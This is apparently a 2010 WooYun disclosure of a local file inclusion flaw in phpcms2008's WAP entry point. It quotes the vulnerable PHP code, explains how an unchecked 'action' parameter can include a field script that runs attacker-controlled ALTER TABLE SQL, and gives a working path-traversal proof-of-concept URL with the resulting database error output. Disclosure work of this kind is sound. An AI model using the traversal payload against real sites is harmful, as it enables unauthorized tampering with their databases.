漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2010-0497
漏洞标题:phpcms2008本地文件包括及利用(执行任意SQL脚本)
相关厂商:盛大网络
漏洞作者: Jannock
提交时间:2010-09-07 01:30
修复时间:2010-10-12 00:00
公开时间:2010-10-12 00:00
漏洞类型:文件包含
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2010-09-07: 细节已通知厂商并且等待厂商处理中
2010-09-07: 厂商已经确认,细节仅向厂商公开
2010-09-17: 细节向核心白帽子及相关领域专家公开
2010-09-27: 细节向普通白帽子公开
2010-10-07: 细节向实习白帽子公开
2010-10-12: 细节向公众公开
简要描述:
phpcms2008本地文件包括及利用(执行任意SQL脚本)
详细说明:
文件wap/index.php
<?php
include '../include/common.inc.php';
include './include/global.func.php';
$lang = include './include/lang.inc.php';
if(preg_match('/(mozilla|m3gate|winwap|openwave)/i', $_SERVER['HTTP_USER_AGENT']))
{
header('location:../');
}
wmlHeader($PHPCMS['sitename']);
$action = isset($action) && !empty($action) ? $action : 'index';
if($action)
{
include './include/'.$action.'.inc.php';
}
$html = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $html) : $html;
echo str_replace('<br/>', "<br/>\n", $html);
wmlFooter();
?>
action 变量没有判断,造成本地文件包含漏洞。
利用(其中之一):
包含目录include\fields\areaid 下任一文件,即可执行任意SQL脚本。
如:field_add.inc.php
<?php
if(!$maxlength) $maxlength = 255;
$maxlength = min($maxlength, 255);
$sql = "ALTER TABLE `$tablename` ADD `$field` VARCHAR( $maxlength ) NOT NULL DEFAULT '$defaultvalue'";
$db->query($sql);
?>
tablename 等变量可以直接传入。 当然,这个访问需要用Opera等浏览器访问。
漏洞证明:
用Opera浏览器访问
http://www.phpcms.cn/wap/index.php?action=../../include/fields/areaid/field_add&tablename=xx
6: </head>
7: <card id="phpcmsWml" title="Phpcms">
8: <p>
9: <div style="font-size:12px;text-align:left; border:1px solid #9cc9e0; padding:1px 4px;color:#000000;font-family:Arial, Helvetica,sans-serif;"><span><b>MySQL Query : </b>ALTER TABLE `xx` ADD `` VARCHAR( 255 ) NOT NULL DEFAULT '' <br /><b> MySQL Error : </b>Table 'phpcms.xx' doesn't exist <br /> <b>MySQL Errno : </b>1146 <br /><b> Message : </b> MySQL Query Error</span></div>
修复方案:
都知道。
版权声明:转载请注明来源 Jannock@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2010-09-07 11:17
厂商回复:
多谢Jannock提交漏洞信息,所提交问题已通知相关部门处理。
最新状态:
暂无